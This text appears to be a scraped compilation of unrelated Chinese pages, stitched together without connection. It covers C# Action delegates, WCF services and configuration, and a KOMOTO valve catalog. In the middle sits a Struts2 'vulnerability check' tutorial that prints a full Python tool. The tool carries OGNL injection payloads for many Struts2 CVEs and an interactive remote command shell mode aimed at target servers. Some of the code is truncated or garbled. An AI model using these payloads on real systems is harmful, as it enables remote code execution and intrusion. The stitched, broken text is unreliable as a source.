WC9_action&actionModel windchill学习笔记
C#-Action

C#-Action最近学到⼀个新的c#知识点-- Action ,在这⾥记录⼀下。
Action 是系统内置(或者说预定义)的⼀个委托类型,它可以指向⼀个没有返回值且没有参数的⽅法。
通过ctrl+左键可以看到 Action 是这样定义的:public delegate void Action();上⾯还有⼀句描述://// 摘要:// 封装⼀个⽅法,该⽅法不具有参数且不返回值。
简单来说,有了 Action 我们在需要⽆返回值⽆参数的委托类型时就不⽤再⾃⼰⼿动声明了,可以直接使⽤ Action ,⽐如:1static void Main(string[] args)2 {3 Action a = func;4 a();5 }6public static void func()7 {8 Console.WriteLine("⼀个⽆参数⽆返回值的⽅法⽰例");9 }10/*11 * ⼀个⽆参数⽆返回值的⽅法⽰例12*/学到这⾥时我很疑惑, Action 只能引⽤⽆返回值⽆参数的⽅法那它的局限性岂不是⾮常⼤?原来系统对 Action 做了扩展,即 Action<> ,可以通过泛型来指定 Action 所引⽤的⽅法的参数数量和类型,它最多⽀持⼗六个参数,除⾮极特殊的情况否则应该不会有⼈写这么多参数的⽅法所以完全⾜够了。
这⾥我写了⼀个Action引⽤两个参数的⽅法的例⼦1static void Main(string[] args)2 {3 Action<string,string> a = func;4 a("hello"," world");56 }7public static void func(string str1,string str2)8 {9 Console.WriteLine(str1 + str2);10 }11public static void func()12 {13 Console.WriteLine("⼀个⽆参数⽆返回值的⽅法⽰例");14 }15/*16 * hello world17*/注意我这⾥是直接重载了上⾯⽤到的func⽅法,由此可见Action<>会⾃动匹配符合参数列表的⽅法,如果未找到则不会编译通过。
WCF服务编程

序序 (1)前言 (8)第1章WCF基础 (13)什么是WCF (14)服务 (15)服务的执行边界 (16)WCF与位置透明度 (17)地址 (18)TCP地址 (19)HTTP地址 (20)IPC地址 (20)MSMQ地址 (20)对等网地址 (21)契约 (21)服务契约(Service Contract) (21)数据契约(Data Contract) (21)错误契约(Fault Contract) (22)消息契约(Message Contract) (22)服务契约 (22)应用ServiceContract特性 (25)名称与命名空间 (28)托管 (30)IIS托管 (30)使用Visual Studio 2005 (31)Web.Config文件 (32)自托管 (32)使用Visual Studio 2005 (35)自托管与基地址 (35)托管的高级特性 (38)ServiceHost<T>类 (39)WAS托管 (41)绑定 (41)标准绑定 (42)基本绑定(Basic Binding) (43)TCP绑定 (43)对等网绑定 (43)IPC绑定 (43)WS联邦绑定(Federated WS Binding) (44)WS双向绑定(Duplex WS Binding) (44)MSMQ绑定 (44)格式与编码 (44)选择绑定 (45)使用绑定 (47)终结点 (47)管理方式配置终结点 (48)绑定配置 (52)编程方式配置终结点 (53)绑定配置 (56)元数据交换 (56)编程方式启用元数据交换 (59)元数据交换终结点 (62)编程方式添加MEX终结点 (64)简化ServiceHost<T>类 (65)元数据浏览器 (71)客户端编程 (71)生成代理 (72)管理方式配置客户端 (76)绑定配置 (78)生成客户端配置文件 (78)进程内托管配置 (79)SvcConfigEditor编辑器 (80)创建和使用代理 (81)关闭代理 (82)调用超时 (84)编程方式配置客户端 (85)编程方式配置与管理方式配置 (86)WCF体系架构 (87)宿主体系架构 (88)使用通道 (89)InProcFactory<T>的实现 (94)可靠性 (98)绑定与可靠性 (99)有序消息 (100)配置可靠性 (100)必备有序传递 (103)第2章 服务契约 (107)操作重载 (107)契约的继承 (112)例 2-3:服务端契约层级 (112)客户端契约层级 (114)恢复客户端层级 (116)例2-6:代理链 (121)服务契约的分解与设计 (123)契约分解 (123)分解准则 (127)契约查询 (130)编程处理元数据 (130)MetadataHelper类 (135)第6章错误 (144)错误与异常 (145)异常与实例管理 (146)单调服务与异常 (146)会话服务与异常 (146)单例服务与异常 (146)错误 (147)错误与异常 (151)对于分布式系统,或者说业界不断提及的互联系统的设计与构建,我与本书作者Juval L歸y可谓志同道合。
Strus2漏洞检查工具+Fiddler捉包工具=批量检查系统Struts漏洞问题

Strus2漏洞检查⼯具+Fiddler捉包⼯具=批量检查系统Struts漏洞问题第⼀种⽅法:使⽤⼯具第⼀步、安装Fiddler抓包⼯具,抓取系统的请求地址,并将其全部的请求地址导⼊到.txt⽂件中。
1.⾃定义请求规则,如图点击规则--》⾃定义规则,进⼊名称为CustomRules.js的记事本2.Ctrl+F搜索OnBeforeRequest函数,并找到3.设置条件:域名+请求地址后缀+地址保存的路径4.设置请求地址的过滤器,⽐如设置后缀,将URl包含有.do的requestURl显⽰出来,并⾃动保存进如上的 D盘的requestURL.txt⽂件中第⼆步、安装Struts2漏洞检查⼯具⽅法⼀、单个地址进⾏验证Struts漏洞⽅法⼆、批量进⾏验证Struts漏洞,1、点击【批量验证】菜单 --2、导⼊URL(Fiddler抓取的全部请求URL)--3、点击【开始】按钮第⼆种⽅法:使⽤python3编写的代码进⾏监测如下图所⽰:源代码如下:我copy的是python2格式的代码,需要进⾏加⼯⼀下以适应python3#!/usr/bin/env python# coding=utf-8# code by Lucifer# Date 2017/10/12import sysimport base64import warningsimport requestsfrom termcolor import cprintimport importlibimportlib.reload(sys)warnings.filterwarnings("ignore")headers = {"Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/x-www-form-urlencoded"}headers2 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers3 = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlU }headers_052 = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Content-Type":"application/xml"}class struts_baseverify:def__init__(self, url):self.url = urlself.poc = {"ST2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dGlvb "ST2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d%40 "ST2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCduZXRzdGF0IC1hbicpLmdldEl "ST2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclMm "ST2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nlc3 "ST2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUtils@ "ST2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encodin "ST2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%mand[0 "ST2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@java "ST2-045":"","ST2-052":'''<map> <entry> <jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.e }self.shell = {"struts2-005":base64.b64decode("KCdcNDNfbWVtYmVyQWNjZXNzLmFsbG93U3RhdGljTWV0aG9kQWNjZXNzJykoYSk9dHJ1ZSYoYikoKCdcNDNjb250ZXh0W1wneHdvcmsuTWV0aG9kQWNjZXNzb3IuZGVueU1ldGhvZEV4ZWN1dG "struts2-009":'''class.classLoader.jarPath=%28%23context["xwork.MethodAccessor.denyMethodExecution"]%3d+new+ng.Boolean%28false%29%2c+%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c+%23a%3d% "struts2-013":base64.b64decode("YT0xJHsoJTIzX21lbWJlckFjY2Vzc1siYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MiXT10cnVlLCUyM2E9QGphdmEubGFuZy5SdW50aW1lQGdldFJ1bnRpbWUoKS5leGVjKCdGVVpaSU5HQ09NTUFORC "struts2-016":base64.b64decode("cmVkaXJlY3Q6JHslMjNyZXElM2QlMjNjb250ZXh0LmdldCglMjdjbyUyNyUyYiUyN20ub3BlbiUyNyUyYiUyN3N5bXBob255Lnh3byUyNyUyYiUyN3JrMi5kaXNwJTI3JTJiJTI3YXRjaGVyLkh0dHBTZXIlMjclM "struts2-019":base64.b64decode("ZGVidWc9Y29tbWFuZCZleHByZXNzaW9uPSNmPSNfbWVtYmVyQWNjZXNzLmdldENsYXNzKCkuZ2V0RGVjbGFyZWRGaWVsZCgnYWxsb3dTdGF0aWNNZXRob2RBY2Nlc3MnKSwjZi5zZXRBY2Nl "struts2-devmode":'''?debug=browser&object=(%23_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23context%5B%23parameters.rpsobj%5B0%5D%5D.getWriter().println(@mons.io.IOUt "struts2-032":'''?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.enco "struts2-033":'''/%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23xx%3d123,%23rs%3d@mons.io.IOUtils@toString(@ng.Runtime@getRuntime().exec(%man "struts2-037":'''/(%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)%3f(%23wr%3d%23context%5b%23parameters.obj%5b0%5d%5d.getWriter(),%23rs%3d@mons.io.IOUtils@toString(@ja "struts2-045":"",}def check(self, pocname, vulnstr):if vulnstr.find("Active Internet connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Linux]", "red")elif vulnstr.find("Active Connections") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("活动连接") is not -1:cprint("⽬标存在" + pocname + "漏洞..[Windows]", "red")elif vulnstr.find("LISTEN") is not -1:cprint("⽬标存在" + pocname + "漏洞..[未知OS]", "red")else:cprint("⽬标不存在" + pocname +"漏洞..", "green")def scan(self):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------检测struts2漏洞--------\n⽬标url:"+self.url, "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-005'], timeout=6, verify=False)self.check("struts2-005", req.text)except:cprint("检测struts2-005超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-009'], timeout=6, verify=False)self.check("struts2-009", req.text)except:cprint("检测struts2-009超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-013'], timeout=6, verify=False)self.check("struts2-013", req.text)except:cprint("检测struts2-013超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-016'], timeout=6, verify=False)self.check("struts2-016", req.text)except:cprint("检测struts2-016超时..", "cyan")try:req = requests.post(self.url, headers=headers, data=self.poc['ST2-019'], timeout=6, verify=False)self.check("struts2-019", req.text)except:cprint("检测struts2-019超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-devmode'], headers=headers, timeout=6, verify=False)self.check("struts2-devmode", req.text)except:cprint("检测struts2-devmode超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-032'], headers=headers, timeout=6, verify=False)self.check("struts2-032", req.text)except:cprint("检测struts2-032超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-033'], headers=headers, timeout=6, verify=False)self.check("struts2-033", req.text)except:cprint("检测struts2-033超时..", "cyan")try:req = requests.get(self.url+self.poc['ST2-037'], headers=headers, timeout=6, verify=False)self.check("struts2-037", req.text)except:cprint("检测struts2-037超时..", "cyan")try:req = requests.get(self.url, headers=headers2, timeout=6, verify=False)self.check("struts2-045", req.text)except:cprint("检测struts2-045超时..", "cyan")try:req = requests.post(self.url, data="", headers=headers3, timeout=6, verify=False)self.check("struts2-048", req.text)except:cprint("检测struts2-048超时..", "cyan")try:req1 = requests.get(self.url+"?class[%27classLoader%27][%27jarPath%27]=1", headers=headers, timeout=6, verify=False) req2 = requests.get(self.url+"?class[%27classLoader%27][%27resources%27]=1", headers=headers, timeout=6, verify=False) if req1.status_code == 200 and req2.status_code == 404:cprint("⽬标存在struts2-020漏洞..(只提供检测)", "red")else:cprint("⽬标不存在struts2-020漏洞..", "green")except:cprint("检测struts2-020超时..", "cyan")try:req = requests.post(self.url, data=self.poc['ST2-052'], headers=headers_052, timeout=6, verify=False) if req.status_code == 500 and r"java.security.Provider$Service"in req.text:cprint("⽬标存在struts2-052漏洞..(需使⽤其他⽅式利⽤)", "red")else:cprint("⽬标不存在struts2-052漏洞..", "green")except:cprint("检测struts2-052超时..", "cyan")def inShell(self, pocname):cprint('''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.''', 'cyan')cprint("-------struts2 交互式shell--------\n⽬标url:"+self.url, "cyan")prompt = "shell >>"if pocname == "struts2-005":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-005'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-009":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-009'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-013":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-013'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-016":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-016'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-019":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.urlreq = requests.post(commurl, data=self.shell['struts2-019'].replace("FUZZINGCOMMAND", command), headers=headers, timeout=6, verify=False) print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-devmode":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-devmode'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-032":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-032'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-033":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-033'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-037":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":try:commurl = self.url+self.shell['struts2-037'].replace("FUZZINGCOMMAND", command)req = requests.get(commurl, headers=headers, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-045":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.get(self.url, headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if pocname == "struts2-048":while True:print(prompt)command = raw_input()command = command.strip()if command != "exit":headers_exp = {"User-Agent":"Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; en-us) AppleWebKit/534.50 (KHTML, like Gecko) Version/5.1 Safari/534.50","Accept":"application/x-shockwave-flash, image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*","Content-Type":"%{(#szgx='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.conta }try:req = requests.post(self.url, data="", headers=headers_exp, timeout=6, verify=False)print(req.text)except:cprint("命令执⾏失败", "red")else:sys.exit(1)if__name__ == "__main__":try:if sys.argv[1] == "-f":with open(sys.argv[2]) as f:for line in f.readlines():line = line.strip()strutsVuln = struts_baseverify(line)strutsVuln.scan()elif sys.argv[1] == "-u"and sys.argv[3] == "-i":strutsVuln = struts_baseverify(sys.argv[2].strip())strutsVuln.inShell(sys.argv[4].strip())else:strutsVuln = struts_baseverify(sys.argv[1].strip())strutsVuln.scan()except Exception as e:figlet = '''____ _ _ ____/ ___|| |_ _ __ _ _| |_ ___ / ___| ___ __ _ _ __\___ \| __| '__| | | | __/ __|____\___ \ / __/ _` | '_ \___) | |_| | | |_| | |_\__ \_____|__) | (_| (_| | | | ||____/ \__|_| \__,_|\__|___/ |____/ \___\__,_|_| |_|Code by Lucifer.'''cprint(figlet,'cyan')print("Usage: python struts-scan.py /index.action 检测")print(" python struts-scan.py -u /index.action -i struts2-045 进⼊指定漏洞交互式shell")print(" python struts-scan.py -f url.txt 批量检测")拓展:Fiddler的⼯作原理Fiddler截获客户端浏览器发送给服务器的https请求的时候,此时还未建⽴连接(握⼿)。
WCF接口实例介绍

WCF接⼝实例介绍Windows Communication Foundation(WCF)是由微软开发的⼀系列⽀持数据通信的应⽤程序框架,可以翻译为Windows 通讯开发平台。
WCF整合了原有的windows通讯的 .net Remoting,WebService,Socket的机制,并融合有和的相关技术。
简单的归结为四⼤部分1>.⽹络服务的协议,即⽤什么开放客户端接⼊。
2>.业务服务的协议,即声明服务提供哪些业务。
3>.数据类型声明,即对客户端与服务器端通信的数据部分进⾏⼀致化。
4>.传输安全性相关的定义。
下⾯直接看⼀个例⼦:⼀.服务端实例1.定义⼀个WCF接⼝名称未Ichangeline服务契约(ServiceContract),订定服务的定义。
// 注意: 使⽤“重构”菜单上的“重命名”命令,可以同时更改代码和配置⽂件中的接⼝名“IStaffLoginCheckService”。
[ServiceContract] //服务协定定义public interface IChangeline{[OperationContract] // 操作服务定义string EsopCheckOk();[OperationContract]string HelloWorld();}2.定义⼀个类实现接⼝名称Changeline// 注意: 使⽤“重构”菜单上的“重命名”命令,可以同时更改代码和配置⽂件中的类名“StaffLoginCheckService”。
[ServiceBehavior(ConcurrencyMode = ConcurrencyMode.Single, InstanceContextMode = InstanceContextMode.Single)]public class Changeline : IChangeline{public string HelloWorld(){string result = "123456";return result;}}3.开通WCF所需要的服务,也可以从VS直接添加WCF服务1#region启动WCF服务2private void OpenWcfService()3 {4try5 {6var changeline = new Changeline(bendview);7 host = new ServiceHost(changeline, new Uri("http://localhost:8734/MyService/"));8//这是我们服务的地址9 host.AddServiceEndpoint(typeof(IChangeline), new BasicHttpBinding(), string.Empty);10 host.Description.Behaviors.Add(new ServiceMetadataBehavior { HttpGetEnabled = true });11//mex元数据的地址12 host.AddServiceEndpoint(typeof(IMetadataExchange), MetadataExchangeBindings.CreateMexHttpBinding(),13"mex");14 host.Open();15var port = "8734"; //获取端⼝号16var inname = "Changeline"; //打开端⼝号的名称17var str = " netsh advfirewall firewall add rule name=" + inname +18" dir=in action=allow protocol=TCP localport= " + port;19var pro = new Process(); //实例化进程20 pro.StartInfo.FileName = "cmd.exe"; //设置要运⾏的程序⽂件21 eShellExecute = false; //是否使⽤操作系统shell程序启动22 pro.StartInfo.RedirectStandardInput = true; //是否接受来⾃应⽤程序的调⽤23 pro.StartInfo.RedirectStandardOutput = true; //是否接受来⾃应⽤程序的输出信息24 pro.StartInfo.RedirectStandardError = true; //是否接受重定向错误信息25 pro.StartInfo.CreateNoWindow = true; //不显⽰窗⼝信息26 pro.Start(); //启动程序2728//向cmd窗⼝发送输⼊信息29 pro.StandardInput.WriteLine(str + "&exit");3031 pro.StandardInput.AutoFlush = true;32 pro.WaitForExit(); //等待程序运⾏完退出程序33 pro.Close(); //关闭进程34 }35catch (Exception ex)36 {37 Tool.Log.Error("WCF开起失败:" + ex.Message);38 }39 CheckWCFServerTh = new Thread(WCF_HostCheck);40 CheckWCFServerTh.IsBackground = true;41 CheckWCFServerTh.Start();42 }43void WCF_HostCheck(object o)44 {45//Closed 指⽰通信对象已关闭,且不再可⽤。
WCF配置详解

WCF配置详解服务端的配置⽂件主要是对services、bindings、behaviors的配置。
在默认的App.config中,使⽤的是WCF Framework定义好的wsHttpBinding默认配置,所以看不到binding配置节。
配置节展开如下图:BTW: "元数据端点”通过WS-MetadataExchange帮我们实现了对服务的描述,提供了WSDL,启动Host之后我们可以通过<http://localhost:8732/Design_Time_Addresses/WcfServiceLib/Service1/?wsdl> 查看到公开的服务描述。
配置节展开如下图:关于WCF中的地址和绑定,需要补充⼀下。
WCF中⽀持的传输协议包括HTTP、TCP、Peer network(对等⽹)、IPC(基于命名管道的内部进程通信)以及MSMQ(微软消息队列),每个协议对应⼀个地址类型:HTTP地址:<http://localhost:8080/>TCP地址: net.tcp://localhost:8080/IPC地址: net.pipe://localhost/ (适⽤于跨进程,不能使⽤于不同机器间)MSMQ地址: net.msmq://localhost/对等⽹地址: net.p2p://localhost/WCF中提供的绑定有:BasicHttpBinding: 最简单的绑定类型,通常⽤于 Web Services。
使⽤ HTTP 协议,Text/XML 编码⽅式。
WSHttpBinding: ⽐ BasicHttpBinding 更加安全,通常⽤于 non-duplex 服务通讯。
WSDualHttpBinding: 和 WSHttpBinding 相⽐,它⽀持 duplex 类型的服务。
WSFederationHttpBinding: ⽀持 WS-Federation 安全通讯协议。
KOMOTO韩国MOTOYAMA INC阀门和控制产品指南说明书

KOMOTO®V A L V E S&C O N T R O L SP R O D U C T G U I D E2. Valve modeling index① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ AO 35 07 D 1 2 1 M 1 O① Power sourceAO : Air operateEM : Electric motorEH : Electric hydraulicPR : Pressure regulatorMH : Manual hand wheel② Actuator type01 : Hand Lever02 : Hand wheel03 : Gear with wheel04 : Hydraulic hand pump05 : Other hand operator12 : Pressure regulator actuator(Direct type)16 : Linear spring return piston17 : Linear double acting piston18 : Pressure regulator actuator(Pilot type)35 : Linear dia. actuator (reversible)36 : heavy duty dia. actuator37 : Diaphragm rotary actuator38 : Rotary cylinder21 : Electric motor (1 ph)23 : Electric motor (3 ph)③ Valve Body series06 : Teflon block globe valve07 : Standard globe (~#600) valveHeavy duty globe (#900~) valve11 : High performance butterfly valve12 : Triple offset butterfly valve13 : Damper butterfly valve14 : Lined butterfly valve20 : Angle valve (globe)31 : 3 way globe valve41 : Ball valve43 : V-ball valve45 : 3 way ball valve (mixing)46 : 3 way ball valve (diverting)51 : Non-lining diaphragm valve52 : Lined diaphragm valve61 : Discharge valve (glove)62 : Discharge valve (ball)63 : Plug valve65 : Wedge gate valve66 : Knife gate valve900 : Angle Desuperheater901 : Jacket Desuperheater④ Symbol of actionD : Direct - air to closeDownstream Pressure control (PRV)R : Reverse - air to openUpstream Pressure control (PRV)D : Double acting (cylinder)S : Spring return (cylinder)2⑤ Trim type1 : Unbalanced top guided contoured trim <SP>2 : Balanced cage guided contoured trim <CS>3 : Cage double trim <CD>4 : Cage guided balanced trim <CB>5 : Anti-cavitation trim <AC>6 : Low-noise trim <LN>7 : Cage pilot <CP>8 : Ball, vane, plug <BV>9 : Others⑦ Body Material1 : SCPH2 / A216WCB2 : SCS13 / A351CF83 : SCS14 / A351CF8M4 : SCS16 / A351CF3M5 : SCS19 / A351CF36 : A217WC67 : A217WC98 : Etc⑨ Bonnet type1 : Standard2 : Extension3 : Cryogenic4 : Bellows ⑩ OptionalJ : Semi-jacketedF : Full jacketedO : Others⑥ Rating1 : 10K / 150#2 : 20K / 300#3 : 30K / 600#4 : 63K / 900#5 : 1500#6 : 2500#7 : 4500#⑧ Seat typeM : Metal seatS : Soft seatE : Etc3Safe & Reliable Operation, Perfect Performance, Professional Technical Support, Easy Maintenance, Interchangeable Parts, Long LifeKorea Motoyama Inc. was founded in 1988 through the technology and capital investmentby Japan Motoyama Inc., which has almost 90 years of history.As one of the leading players in this industry, Japan Motoyama Inc. has provided more than one million valves all over the world. Based on its advanced technologies and experiences, Korea Motoyama Inc. has provided the ‘KOMOTO®’ brand valves to numerous global companies. KOMOTO® brand valves have been widely used in wide range of industries including oil & gas, refineries, power plants, petrochemical plants, and steel mills to accurately control cryogenic fluids, superheated steam and corrosive fluids under severe service conditions.With long experiences of Japan Motoyama Inc., Korea Motoyama Inc., with 30 years of experiences continues to invest in research and development, testing facilities, and quality control systems. Today, we are ready to provide our customers with the best solutions to control special fluids under any severe conditions.Features & Benefits of KOMOTO®DIN PN10~420GeneralKOMOTO® Globe valves are the best solution for throttling service in oil, gas, petrochemical and other industrial purposes. It provides optimal solutionsto control from general service fluids to corrosive, cryogenic, high temperatures fluids under severe service conditions containing erosion, corrosion and high pressure drops.Performance• High Cv to body size ratio, which allows for smaller and more cost effective valve size selection• High Cv to valve weight ratio• Optimized streamlined flow• Excellent flow control rangeabilityDesign Flexibility• Modular construction design• All trim components are replaceable from the top for easy maintenance• Wide range of supplementary cavitation & noise control options• Inherently characterized trim offered in equal percentage, linear, quick opening and modified-parabolic. Multi trim sizes are available.• Full range of body and trim material options• Full range of bonnet and packing designs to suit various temperatures and fluidsSpecificationsDIN PN10~420GeneralKOMOTO® angle valves are widely accepted for controlling fluid of high differential pressure, slurry, high viscosity, or adhesive. They are provided witha number of features such as low resistance of passage, anti-wear quality within the valve, and easy maintenance and inspection. Performance• High Cv to body size ratio• High Cv to valve weight ratio• Excellent flow control rangeabilityDesign Flexibility• Modular construction design available with a range of different connections and styles• All trim components removable from the top for easy maintenance• Wide range of supplementary noise control options. Inherently characterized trim offered in equal percentage, linear, quick opening and modified-parabolic (options). Multi trim sizes available.• Full range of body and trim material options• Full range of bonnet and packing designs to suit various temperatures and fluidsSpecificationsMixing / Diverting 3-way valves ANSI 150~600 / JIS 10K~40KDIN PN10~100GeneralKOMOTO® three-way type control valves are usedfor controlling the fluids mutually to three directionalpipings, i.e., 